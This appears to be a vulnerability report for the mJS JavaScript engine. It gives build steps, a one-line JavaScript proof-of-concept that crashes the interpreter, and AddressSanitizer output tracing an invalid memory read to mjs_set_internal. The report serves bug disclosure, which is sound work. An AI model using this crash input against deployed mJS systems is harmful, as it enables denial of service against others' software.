SEGV src/mjs_object.c:207 in mjs_set_internal

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
(JSON.stringify([1, 2, 3]))((load - 6. + 4321e2)([([JSON.parse(JSON.stringify([(0)]))])]));
```

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==51917==ERROR: AddressSanitizer: SEGV on unknown address 0xffffffffffffff81 (pc 0x5576b72e39f0 bp 0x000000000081 sp 0x7ffd4baed160 T0)
==51917==The signal is caused by a READ memory access.
    #0 0x5576b72e39ef in mjs_set_internal src/mjs_object.c:207
    #1 0x5576b72e39ef in mjs_set_v src/mjs_object.c:155

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_object.c:207 in mjs_set_internal
==51917==ABORTING

Credits: Found by OWL337 team.